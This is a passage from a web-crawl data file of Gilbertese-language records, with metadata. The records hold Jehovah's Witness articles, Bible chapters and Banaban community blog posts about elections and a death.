ikawai ni kabane. Ngaia are bon akea raoraou ae au roro! Ma e waekoa n reke au iraorao ae kaan ma naake I toa ma ngaiia n te mwakuri ni minita aika a ikawai riki.\"\nE aitara naba ma aron anne Jim, ae ai 21 ngkai ana ririki. \"Te kabanea ni kaan n ekaretia ma Nhulunbuy bon te kaawa ae 450 tabun te maire (725 te kiromita) raroana, ngaia are ti kabonganai raoi boong n runga ao ni bwabwaro. Ti moantaai n roko ao n itamwaomwao ma tarira ao mwaanera. Ti tarai boong aikai bwa boong aika kakawaki iroura n te ririki!\"\n\"I RANGI NI KUKUREI N ROKORA IKAI!\"\nE taekinaki n te Baibara aei: \"Kakabaian te aba iroun Iehova, e kabatia kaubain te aba.\" (TaeRab. 10:22, BG) Ni katobibia te aonnaba, a rangi ni bati aomata aika beku n taabo ake e kainnanoaki riki iai te ibuobuoki ake a bon rinanoni koauan te taeka aei ae kairaki koreana rinanon te taamnei.\nE taku Mark: \"Te kakabwaia ae moan te tamaroa bon norakini mwini mwaingira irouia natira. A aki nanokokoraki natira ake a ikawai riki bwa e bon tabeakinia Iehova naake a moanibwaia te Tautaeka n Uea. Ko aki kona ni kabooa te namakin anne.\"\nE taku Shane: \"I a rangi ni kaan riki ma buu ao natiu. Ngkana I ongora mairouia taekan te bwai ae e a tia ni karaoia Iehova ibukia, I namakina te raunnano ni koaua.\" E inanoi iai natina te mwaane ae Jacob ao e taku: \"E rangi ni kaunga ao I rangi ni kukurei n rokora ikai!\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-tianuare-2016\/anga-ngaiia-n-aaba-ake-n-te-oceania\/","date":"2018-03-20T08:15:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647322.47\/warc\/CC-MAIN-20180320072255-20180320092255-00501.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1418,"character_repetition_ratio":0.052,"word_repetition_ratio":0.032,"special_characters_ratio":0.224,"stopwords_ratio":0.425,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"A rangi ni kukurei Don ao Margaret * ni kawaraia iroun natiia te aine ma ana utu. N aia amwarake ni karaure ao Margaret ae te tia kuuka ae beeba ma e a uritaea, e kuukana te macaroni ao te tiiti, ae mamaten nanoia tibuna mwaane aika uoman.\nNgke a a bane n tekateka, ao e a uota ana kuuka Margaret nako nukan te taibora. E a ieta matana ao bon te kubanako ngke e a noria bwa ai tii te tiooti n tiiti kanoan te boora. E mwaninga Margaret ni kabwakaa te macaroni! *\nN aki ongea rorora ke mwaataira ma ti bane ni kakairua. Tao ti taetae n aki iango, ke ti karaoa te bwai teuana n tiaki taina, ke tao ti mwaninga te bwai teuana. E aera ngkai a riki kairua? Tera arora iai? Ti kona n aki kakairua? Arora ae riai n iangoa te kairua, e na buokira ni kaekai titiraki aikai.\nARORA AO ARON TE ATUA N IANGOI KAIRUA\nNgkana e nakoraoi te bae ti karaoia, ao ti kukurei n ongo kamoamoaara ao kaitauara, bwa iroura e riai n reke anne. Ma ngkana ti kairua e ngae naba ngkana tiaki nanora, ke tao e aki ataaki irouia tabemwaang, tiaki ti riai naba ni butimwaea mwina? E kainnanoaki te nanorinano ni karaoan anne.\nNgkana ti rangi n iaiangoira i bon iroura, ti na bae ni kauarerekea rawawatan ara kairua, ni bukina temanna, ke tao ni kakewekewe. E kakarikii kangaanga karaoan anne. E kona n teimatoa n aki nakoraoi te kangaanga, ao a kona ni bukinaki iai tabeman. E ngae ngkana ti karaoi kairua ao ti tuai man rotaki ni mwia, ma ti riai n uringnga bwa n tokin te tai ao \"ti na angan te Atua taekan arora ngaira n tatabemanira nako.\"—I-Rom 14:12.\nE iangoa te kairua te Atua n te aro ae riai. E oti n Taian Areru bwa 'e nanoanga ao e atataiaomata' te Atua ao \"e na aki ukera te kairua n taai nako, ao e na aki naba teimatoa n un n aki toki.\" E atai aki kororaoira ao mamaarara, ao \"e uringira bwa taano ngaira.\"—Taian Areru 103:8, 9, 14.\nNgaia are n aron te tama ae nanoanga, e tangirira te Atua, ngaira aika natina bwa ti na iangoa naba te kairua n aron iangoana irouna. (Taian Areru 130:3) A bati reirei ni kairiri i nanon Ana Taeka, ibukini buokara ni kaaitarai oin ara kairua ao aia kairua naba tabemwaang.\nARORA NI KEKEIAKI MA TE KAIRUA\nN angiin te tai ngkana a riki kairua, ao e kakabanea ana konaa te aomata ni bukibuki ke ni kakaaea aonana n te baere e taekinna ke ni karaoia. Ma ngkana iai ae un n am taeka, e raoiroi riki kabwaraan am bure, kaetan te baere riki, ao kateimatoaan nakoraoin am iraorao. Ko a tia ni kairua ao ni karika te kangaanga ke te bae kakaiaki riki, nakoim ke temanna? N oneani mwin ae ko na rangi n un i bon iroum, e aera ko aki tii kabanea am konaa ni kaeti kangaanga? Imanonoan ae tiaki ngkoe te tia bure, e na kamaana te un ao ni kakorakoraa te kangaanga. Ngaia are karekea reireiam iai, kanakoraoia, ao waakinako.\nNgkana iai ae e kairua nakoira, ti rangi ni kai kaota ribaakina. Ai raoiroira riki irakin ana reirei ni kaetieti Iesu Kristo ae kangai: \"Mangaia ae bwaai ni kabane aika kam tangiriia aomata bwa a na karaoi nakoimi, kam riai ni karaoi naba nakoia.\" (Mataio 7:12) Ngkana ko kairua, e ngae naba ngkana e uarereke, ko na bon tangiriia aomata bwa a na nanoangaiko ke n tarariaoa am kairua. E aera ngkanne ko aki kakorakorako ni kaota te aeka n akoi aei nakoia aomata?—I-Ebeto 4:32.\nBOOTO N REIREI AIKA KONA NI KAUAREREKEA RIKIN TE KAIRUA\nE kabwarabwaraaki n te rikitinare teuana bwa e reke te kairua man \"te motinnano ae aki nakoraoi, uarereken te atatai, ke te aki kakauongo raoi.\" Ti riai ni kakoauaa ae ti a bane n tia ni karaoa teuana ke e bati riki mai buakon aroaro akanne. Ma a na karako kairua ngkana ti iaiangoi booto n reirei tabeua aika kakawaki man te Baibara.\nTeuana te boto n reirei ane n Taeka N Rabakau 18:13, ae kangai: \"Ngkana iai ae e kaeka nakon te bwai teuana imwain ae e ongo raoi te koaua, ao bon te aro n nanobaba anne ma ni kabwainrang.\" Eng, karekean am tai teutana n ongora moa ao n iaiangoa am kaeka, e na totokoiko man te taetae n aki akaka ke te kakai rotaki. E rangi ni kakawaki te atatai ae reke man te kakauongo raoi, bwa e ibuobuoki n totokoa rikin te motinnano ae aki nakoraoi ao te kairua.\nE kangai te boto n reirei riki teuana man te Baibara: \"Karaoa ami kabanea ni konaa ni karekea te rau ma aomata ni kabane.\" (I-Rom 12:18) Kabanea am konaa ni karekea te rau ao te boonnano. Ngkana ko mwakuri ma tabemwaang, bwaina te akoi ao te karinerine, ao kataia ni kamoamoaia ao ni kaungaia. Karaoan anne, a kona iai ni kai mwanuokinaki ke n tarariaoaki taeka ao mwakuri aika aki iangoaki raoi, ao a kona n raoiakinaki ma te akoi ke ni kanakoraoaki kairua aika kakaiaki.\nKarekea reireiam man am kairua are ko a tia ni karaoia. N oneani mwin ae ko na karekea aonam imwin te bae ko taekinna ke ko karaoia, iangoia bwa aei am tai ni karikirakei aroaro aika raraoi. Ko kainnanoa riki te taotaonakinnano, te akoi, ke te taubaang? Tera aron te nimamannei, te rau, ao te tangira? (I-Karatia 5:22, 23) Ko a ataa iai te bae ko na aki karaoia imwina. Taraia raoi bwa ko na aki kaatuua iangoan rotakim iai. E kona ni kamaraua te un te kangare teutana.\nTE KAKABWAIA MAN TE IANGO AE RIAI\nBwainan te iango ae riai ni kaineti ma te kairua, e na buokira ni kekeiaki ngkana a riki kairua. Ti na bae n rau riki i bon iroura ao ma tabemwaang. Ngkana ti nanomwaaka ni karekea reireiara man ara kairua, ti na wanawana riki ao n tatangiraki. Ti na aki kakai bwarannano ke n un i bon iroura. Kakoauaan ae a kabokorakora naba tabemwaang ma aia kairua, ti na kaan riki iai ma ngaiia. Ae kakawaki riki, ti kona ni kakabwaiaaki man reiakinan te kakairi n ana tangira te Atua ao n arona n tauraoi ni kabwarai buure.—I-Korote 3:13.\nE nakobuaka aia amwarake te utu arei n ana kairua Margaret are taekinaki mai moa? E bon aki. A bane n iangoa kakamangana, ao riki Margaret, ao a amwarake ma te kukurei n akea te macaroni! N ririki ake imwina, ao ataeinimwaane ake uoman akekei, a a manga karakina taekan amwarakeia anne nakoia natiia, ao n ururingi taai aika kakukurei ma tibuia. N etina, bon tii te kairua ae uarereke!","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na6-2017-nobembwa\/arora-ae-riai-n-iangoa-te-kairua\/","date":"2018-03-19T03:34:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257646213.26\/warc\/CC-MAIN-20180319023123-20180319043123-00554.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1118,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Inanon ana kanako bwana Bwanaan Rabi nte Moanibong 5 bongin Tianuare 2009 ao aio ngkane kanoan te maroro.\nTe kaoti iango irouia taan Rineaki ao taan Rinerine.\nNgai I kaoti iango naba mai iAotiteria ikai ao au koaua are i taekina nte tarebon nakon Bwanaan Rabi boni buokaia ara tia Rinerine ba ana kanga ni kinaia aia Kauntira aika na mate raoi rineakia:-\n1. Rinea am Kauntira ae ata kainanom ngkoe ae ko aki mwakuri. E riai am Kauntira ni karekei itera aika kona ni kamwakuri iai bwa ea onga te karo ni kona ni kabooa roon natina n reirei, n tararua ana kara ao mani kariki rakea ana utu. A bati itera aika konaki ni karekeaki ibukin itera aikai ma ea bon nakon ana kona bwai am Kauntira ae ko nang rineia.\n2.Ena iai ana atatai nte politic. Uringa bwa 2 ara Tautaeka ao 2 naba ara Tua.....Banaban Settlement Act iaan Biti ao te Banaban provision Chapter 9 iaan te Kiribati Constitution. Te tia Tei ena riai ni iai ana atatai inanon Tua aikai bwa ngaia tein raoi waen Tei Banaba.\n3.Rinea am Kauntira ae ena kona n nora tein ana Roro n Rikirake inanon ana tei ae 4 te ririki. Te Kauntira ae kona ni kauki mataroan Aotiteria ma New Zealand ibukin te scholarship, trianing oppotunities etc. Uringa bwa akona n reke itera aikai bwa aba aikai a korakora baeia iroura ma ati kantaninga bwanara rinanon kawaina ae eti. Te Kauntira ae kan tei e riai n atai kawai aikai.\n4.Koa riai n rinea am Kauntira ae iai ana kona bwai ni kerekea katiian ana mwane man itera riki tabeua nakon\nare tia bon okioki naba inanon ara batiketi ae eaki kona moa ni kamwakuria ara boota n aomata. Abara ae Banaba e bati kaubwaina ae kakaninganinga ngkai SOPAC ae enang bati ni karabaki taekana nakoira ngaira kain Banaba bwa tia kawa n ataia ao tia manga karaoa abara ae Banaba ao ena manga maeu te Rii Ni Banaba (Banaban Identity). E riai am Kauntira ae kona rineia bwa ena kona naba ni kaoti nakoi kaubwain Banaba aikai.\nTitirakinia itera aikai ao ngaia a riai kaekai ngkami ma te koaua. Te nakoa ae te Kauntira e riai n aki kamangoraki bwa ngaia Kautuun ara Tautaeka. 'Ea oria ngke tikarako e riai bwa tina keiaki mwaka'.\nAu kabane ngkane nakoia raou ni IBanaba aika kam nang rinrine bwa ngkana areke ami Kauntira aika boou ao tibangara ae moan te kakawaki bwa tina boutokoia, taubai mangaia ao mani waaki mangaia bwa ngaia reken kabwaiara ao ngkana tiaki ao e mate buaka ara rinerine ao tia bon titiku naba n arora aio ni karokoa e bua araia ara boota n aomata ae Tei Banaba.\nKam na tekeraoi n ami rinerine. Tekeraoin te Roro ni IBanaba ane inanoni baimi.\nRaomi ni koaua, Ken.","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/bwanaan-rabi-monday-5th","date":"2018-03-22T23:32:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648103.60\/warc\/CC-MAIN-20180322225408-20180323005408-00127.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":464,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.287,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"-\nKANIKINAEAN OKIN AO TIKUN KRISTO (1-51)\n24 Ngke e a taonnako Iesu man te tembora, ao a kawaria taan rimwina bwa a na kaota nakoina te tembora ni kabutaa. 2 E kaekaia ni kangai: \"Tiaki kam nori baikai ni kabane? Ma I tuangingkami te koaua, bwa ane e na bon aki tiku ikai te atibu teuana i aon te atibu teuana n aki kabwakaaki.\"+ 3 Ngke e tabe n tekateka i aon te Maunga ae Oriweta, ao a kawaria taan rimwina n tii ngaiia ao a taku: \"Tuangira, a na roko n ningai baikai, ao tera te kanikina ae e na kaotia bwa ko a oki ma n tiku,*+ ao kanikinaean tain tokin te waaki ae ngkai i aon te aba?\"*+ 4 E kaekaia Iesu ni kangai: \"Tarataraingkami bwa akea ae e na burebureingkami,+ 5 bwa a bati aika a na roko n arau, ni kangai, 'Te Kristo ngai,' ao a na burebureiia aomata aika bati.+ 6 Kam na ongo karongoaani buaka ao rongorongoni buaka, ma taraia bwa kam na aki maaku iai. Bwa a riai n roko baikai, ma e tuai n roko te toki.+ 7 \"E na teirake te natannaomata teuana ni buakana te natannaomata teuana, ao te tautaeka n uea teuana ni buakana te tautaeka n uea teuana,+ ao a na roko roongo+ ma mwaeiein te aba n te tabo teuana ma teuana.+ 8 Baikai ni kabane boni moan rikini kangaanga, kaanga ai aron te ariri imwain te bung. 9 \"Ane a na anga ngkami aomata bwa kam na karawawataaki+ ao a na kamateingkami,+ ao ane kam na riribaaki irouia natannaomata ni kabane ibukin arau.+ 10 A na bwaka aomata aika bati man te onimaki ao a na ikamwamwane ao a na kairiribai i marenaia. 11 A na bati burabeti ni kewe aika a na teirake ao a na burebureiia aomata aika bati,+ 12 ao e nang kerikaaki aia tangira angia aomata ibukin rikiraken te buakaka. 13 Ma ane e a tia n nanomwaaka* ni karokoa te toki ao e na kamaiuaki.+ 14 Ao e na tataekinaki te rongorongo ae raoiroi aei ae taekan te Tautaeka n Uea, n te aonnaba ni kabutaa bwa te bwai ni kaotioti nakoia botannaomata ni kabane,+ ao ngkanne e a roko naba te toki. 15 \"Mangaia are ngkana kam nora te bwai ae koro n ribaaki ae karika te kamaroaeaki, are e taekinaki rinanon Taniera are te burabeti bwa e tei n te tabo ae tabu,+ (e na kabongana wanawanana te tia wareware ibukini mataatana iai,) 16 ao ke a birinako nakoni maunga naake a mena i Iutaia.+ 17 Ane e mena i taubukin te auti,* e na aki ruo n anai ana bwai n ana auti, 18 ao e na aki oki n anaa ana kauaatao te aomata are mena n te tawaana. 19 Ai kananoangara aine aika bikoukou ao ake a kammammaia natiia ni boong akanne! 20 Teimatoa n tataro bwa e na aki roko birinakomi n tain te kamwaitoro ke n te bongi n Taabati, 21 bwa e na roko te rawawata ae korakora+ ae tuai ni kaoti mangke e moani karikaki te aonnaba ni karokoa ngkai, ao e na aki manga kaoti rimwi.+ 22 E koaua bwa ngkana a aki kakimototoaki boong akanne, ao akea te aomata* ae e na kamaiuaki, ma a na kakimototoaki boong akanne ibukia te koraki ake a rineaki.+ 23 \"Ngkana iai ae e kangai nakoimi 'Noria! Kai aei te Kristo,'+ ke 'Kai arei!' ao tai kakoauaa.+ 24 Bwa a na teirake Kristo ni kewe ao burabeti ni kewe+ ao a na karaoi kanikina aika kokorakora ma baika kamimi, bwa a aonga ni burebureiia+ naba ake a rineaki ngkana a kona. 25 Taraia! I a tia n tuangingkami. 26 Mangaia are ngkana a kangai nakoimi aomata, 'Noria! E mena n te rereua,' ao tai otinako, ke 'Noria! E mena n ruu aika raba,' ao tai kakoauaa.+ 27 Bwa n aron te itirua mai mainiku ae kia n nako maeao, ao ai arona naba ngkana e a oki ma n tiku* Natin te aomata.+ 28 Bwa ike e mena iai te mate,* ao a na ikotaki iai ikare.+ 29 \"Imwin raoi te rawawata ni boong akanne, ao e na karooaki taai,+ ao e nang aki maama namwakaina, ao a na bwaka itoi mai karawa, ao a na kaeieieaki baika korakora i karawa.+ 30 Ao e na kaoti kanikinaean Natin te aomata i karawa, ao a na bane baronga n te aonnaba n ororei bwanibwania ibukin nanokawakia,+ ao a na nora Natin te aomata+ n roko i aon nangini karawa ma te mwaaka ao te mimitong ae korakora.+ 31 Ao e na kanakoia ana anera ma tangin te buu ae tangimwaaka, ao a na ikotiia naake a rineaki ake ana aomata mai meang ao maiaki, mainiku ao maeao, mai rabarabani karawa are teuana nakon rabarabana are teuana.+ 32 \"Karekea reireiami man ae kaikonakaki n te aroka ae te biiku: N te tai are e a manga bwebwerake iai mwaangana ma n riki baana, kam a ataia iai bwa e a kaan te tai are a nang rikirake ma n uaa iai aroka.+ 33 Ai aromi naba, ngkana kam nori baikai ni kabane, kam na ataia iai bwa e a kaan Natin te aomata bwa bon ae i rarikin te mataroa.+ 34 I tuangingkami te koaua bwa e na aki mauna te roro aei ni karokoa rikini baikai ni kabane. 35 A na mauna karawa ma aonnaba, ma a na bon aki mauna au taeka.+ 36 \"Akea ae e ataa te bong ma te aoa anne,+ a aki ataia anerani karawa ao e aki ataia naba te Nati, ma tii te Tama.+ 37 Bwa ai aron ana bong Noa,+ te tai are e a oki ma n tiku* iai Natin te aomata.+ 38 Bwa aroaroia aomata ake a maiu ni boong ake imwain te ieka, a amwamwarake ao a momoi, ao a imaremare mwaane ma aine, ni karokoa te bong are e a rin iai Noa i nanon te aake,+ 39 ao a aki muti ni karokoa rokon te ieka n uotiia nako ni kabane,+ mangaia are anne naba aron te tai are e a oki ma n tiku* iai Natin te aomata. 40 A na mena mwaane aika uoman n te tawaana, e na uotakinako temanna ao e na kitanaki are temanna. 41 A na tabe aine aika uoman ni kamantinta te uita, e na uotakinako temanna ao e na kitanaki are temanna.+ 42 Mangaia ae teimatoa n tantani, bwa kam aki ataa te bong are e na roko iai ami Uea.+ 43 \"Ma kam na ataa te baei, bwa ngkana e ataia teuare ana auti te auti bwa te aoa iraua n te tairiki are e na roko iai te tia iraa,+ ao e na aki matu bwa e na aki kariaia niniakin ana auti.+ 44 Mangaia ae kam na tauraoi naba ngkami,+ bwa e na roko Natin te aomata n te aoa are kam taku bwa e na aki roko iai. 45 \"Antai raoi te toro ae kakaonimaki ma ni wanawana, are e mwiokoia ana toka i aoia ana tabonibai bwa e na angangania kanaia n te tai ae riai?+ 46 Ai kukureira te toro anne, ngkana e roko ana toka ao e noria bwa e tabe ni karaoia!+ 47 I tuangingkami te koaua, bwa e na mwiokoia i aon ana bwai ni kabane. 48 \"Ma ngkana e karaoa ae buakaka te toro ao e kangai i nanona, 'E kiriaria n roko au toka,'+ 49 ao e moana oreaia raona n toro ao e amwarake ma ni moi ma aomata aika taani kokoro ni manging, 50 ao e na roko ana toka te toro anne, n te bong ae e aki kantaningaia ao n te aoa are e aki ataia,+ 51 ao e na katuuaaea n te aro ae kakaiaki ao e na anganna tibwangana i buakoia taani mwamwanaa te aba, ike e na tang ma n tenai bukini mwangaina ibukini bwaran nanona.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"te tai aei.\" Nora Nanon Taeka, \"Waaki ae ngkai.\"\n^ Ke, \"ane e nanomwaaka.\"\n^ A borababaua taubukin angiin auti rimoa, ao a roroko iai aomata ni karaoi baika bati.\n^ Ke, \"akea te rabwata.\"\n^ Te taetae ni Kuriiti ikai e kona n nanona rabwatan te aomata ke te man ae mate.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/mataio\/24\/","date":"2018-03-24T10:05:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00784.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1322,"character_repetition_ratio":0.05,"word_repetition_ratio":0.008,"special_characters_ratio":0.254,"stopwords_ratio":0.48,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"News and information service for Banaban Network Worldwide!\nKam na mauri!\nTia nanokawaki ni katanoata ikai ba ea motirawa man te maiu aei Nei Seata Tumairang i Kioa ngke e karangaina. Nei Seata e bon ituaki n te breast cancer inanon te tai ae maan ao ai te tai aio are ea weteaki iai man te maiu aio. Ena karaoaki matena i Kioa nakon ana rongorngo natina ae Kareo ao ena taunaki naba i Kioa.\nViews: 26\nComment","id":"","dump":"CC-MAIN-2018-13","url":"http:\/\/banabanvoice.ning.com\/profiles\/blogs\/updates-mai-rambi","date":"2018-03-24T21:27:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257651007.67\/warc\/CC-MAIN-20180324210433-20180324230433-00007.warc.gz","language":"gil","language_score":0.9999395609,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9999395608901978}","num_words":77,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.208,"stopwords_ratio":0.26,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana kaeka te Baibara\nE teretere ana kaeka te Baibara bwa e aki! Te rawawata bon tiaki kanoan ana kantaninga Iehova ae te Atua ibukia aomata. Ma e ngae n anne, a karitei te moan taanga nakon ana kairiri te Atua, ngke a katea oin aia kaetieti ni kaineti ma te raoiroi ao te buakaka. A tannako mairoun te Atua ao n rotakibuaka ni mwina.\nTi a boo ngkai ma uaan aia rinerine ae buakaka. Ma bon tiaki te Atua ae karika rawawataia aomata.\nE taku te Baibara: \"\nNgkana iai ae e rinanon te kataaki ao e na aki kangai: 'I kataaki iroun te Atua.' Bwa e aki kona ni kataaki te Atua ni baika bubuaka ao e aki kona naba ni kataa temanna iai.\" (Iakobo 1:13) Te rawawata e kona n rotiia aomata nako, n ikotaki naba ma naake akoaki iroun te Atua.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/baibara-reirei\/titiraki\/rawawatara\/","date":"2018-03-18T18:23:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645830.10\/warc\/CC-MAIN-20180318165408-20180318185408-00232.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":143,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"9 Bwa I kaaki i nanou baikai ni kabane ao I a kunea bwa a mena i nanoni bain te Atua ae koaua akana raoiroi ma akana wanawana, n ikotaki ma aia mwakuri nako.+ Ao aomata a aki ataa te tangira ma te riribai are riki imwaia. 2 A bane n titeboo tokia* ni kabane,+ akana bwabwaina te eti ma akana buakaka, akana raoiroi+ ma akana itiaki ao akana kamwara, ao te koraki aika anga taiani karea ma te koraki aika aki angakarea. Titeboo te aomata ae raoiroi ma te tia bure, ao titeboo te aomata ae berita n te taetae n tuea ma te aomata ae taratara raoi ni kaineti ma te berita n te taetae n tuea. 3 Aio te bwai ae karawawata ae riki i aan taai: Ibukina bwa titeboo tokia* aomata nako,+ e a onrake naba nanoia aomata n te buakaka, ao e mena te rangirang i nanoia ni maiuia, ao imwina a mate!* 4 Bon iai te kantaninga ibukin ane e mena i buakoia akana maiu, ibukina bwa e kabwaia riki te kamea ae maiu nakon te raian ae mate.+ 5 Bwa a ataia* akana maiu ae a na boni mate,+ ma a bon aki ataa te bwai teuana akana mate,+ ao ai akea riki kaniwangaia,* ibukina bwa a mwanuokinaki uringaia ni kabane.+ 6 A a mauna naba aia tangira ma aia riribai ao aia bakantang, ao ai akea tibwaia n te bwai ae karaoaki i aan taai.+ 7 Naako kana kanam ma te kimwareirei ao moi n am wain ma te nano ae kakatonga,+ bwa e kukurei te Atua ae koaua n am mwakuri nako.+ 8 E bia mainaina* am kunnikai n taai nako, ao tai toki ni kabira atum n te bwaa.+ 9 Kakukureiko n te maiu ma buum ae ko tangiria,+ i nanoni bongini maium ni kabane ae akea manenana, aika e a tia n anganiko te Atua i aan taai, n uaa tokini bongini maium ae akea manenana, bwa bon anne tibwangam* ni maium ao n am mwakuri korakora ae ko korakai ni karaoia i aan taai.+ 10 Bwaai nako ake e na karaoi baim, ao karaoia ma korakoram ni kabane, bwa bon akea te mwakuri ke te babaire ke te atatai ke te wanawana i nanon te Ruanimate,*+ ike ko a nako iai. 11 I a tia n nora riki te bwai teuana i aan taai, ae a aki tokanikai n taai nako akana birimwaaka n te kabobirimwaaka ao akana korakora n te buaka,+ ao a aki naba rereke kanaia n taai nako akana wanawana, ao e aki naba reke kaubwaia n taai nako akana rabakau,+ ao a aki naba nanakoraoi n taai nako aroia akana iai aia atatai,+ ibukina bwa a taonakinako ni kabane n te tai are a riki iai baika aki kantaningaaki.* 12 Bwa e aki ataa ana tai te aomata.+ N aroia iika aika mwane n te karaun ae buakaka, ao n aroia mannikiba aika mwane n te bwai ni kamwane, ao ai aroia naba natiia aomata bwa a mwane n tain te kabuanibwai* ngkana e rina n taonianako. 13 I nora naba aei ni kaineti ma te wanawana i aan taai, ao e anaa nanou: 14 Iai te kaawa teuana ae uarereke ae a karako mwaane iai, ao e roko n ekianako te uea ae korakora, ao e otabwaninia ma ni katea iai te oo ae korakora n otabwaninia. 15 E kuneaki i nanona te aomata ae maiu ni kainnano ma e wanawana, ao e kamaiua te kaawa ni wanawanana. Ma akea temanna ae uringa te aomata ane maiu ni kainnano anne.+ 16 Ao I taku i bon irou: 'E raoiroi riki te wanawana nakon te korakora,+ ma e ngae n anne e kakeaaki bongani wanawanan te aomata ae maiu ni kainnano, ao a aki mutiakinaki ana taeka.'+ 17 E raoiroi riki mutiakinan taeka aika aamarau aika aia taeka akana wanawana, nakon ana tatakarua te aomata ae tautaeka i buakoia akana nanobaba. 18 E raoiroi riki te wanawana nakoni bwaai ni buaka, ma e kona te tia bure ae tii temanna ni kamauna te raoiroi ae bati.+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"te bwai ae e na riki nakoia.\"\n^ Ke, \"te bwai ae e na riki nakoia.\"\n^ Ebera, \"ao imwina—a nakoia maate!\"\n^ Ke, \"namakinaaba.\"\n^ Ke, \"boon aia mwakuri.\"\n^ Ae taekan ae te kunnikai ae matatokatoka e kaotiota te kukurei, ao tiaki te kunnikai n tanginiwenei.\n^ Ke, \"tibwam.\"\n^ Ke, \"baika aki ataaki.\"\n^ Ke, \"te karawawata.\"","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/te-minita\/9\/","date":"2018-03-18T05:04:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645513.14\/warc\/CC-MAIN-20180318032649-20180318052649-00208.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":721,"character_repetition_ratio":0.059,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.431,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1, 2. (a) Tera te boto n reirei are a kakairi iai taan rimwin Iesu, ni karokoa ara bong aikai? (b) Tera aroia taani kairiribai ni kataia n tokanikai i aora, ao tera mwina?\nE TEI Iesu i matani Birato are te tia moti ae te kabanea n rietata i aon te natannaomata ae Iutaia, ike e a taekina iai te boto n reirei are e kairiia iai taan rimwina ni koaua ni karokoa ara bong aikai. E taku: \"Tiaki ana bwai te aba au Tautaeka n Uea. Ngke arona bwa ana bwai te aba au Tautaeka n Uea, ao a na buaka au aomata bwa N na aki kabureaki nakoia I-Iutaia. Ma bon tiaki mai aon te aba au Tautaeka n Uea.\" (Ioa. 18:36) E tua Birato kamatean Iesu, ma e aki maan te tokanikai anne bwa e a manga kautaki Iesu. A kataia taian embera n te Embwaea n Rom ae te tautaeka ae korakora ni kamaunaia taan rimwini Kristo, ma e matebuaka aia kakorakora bwa a a kabutaanako rongorongon te Tautaeka n Uea Kristian ni katobibia te aonnaba n taai akanne.\n2 Imwin tein te Tautaeka n Uea n 1914 ao a kataia tabeua taanga ni buaka aika taiani kabanea ni korakora n taai akekei ni kamaunaia ana aomata te Atua, ma akea ae e tokanikai i aora. A bati tautaeka ao bwaatei n te tautaeka ake a kataia ni kairoroira bwa ti na tei n aia itera, ma a bon aki kona n urua te katiteuanaaki i marenara. Ni boong aikai ao a maeka ana aomata te Tautaeka n Uea i buakoia natannaomata nako n te aonnaba. E ngae n anne, ti katiteuanaaki n te botaki n itaritari ni katobibia te aonnaba ao 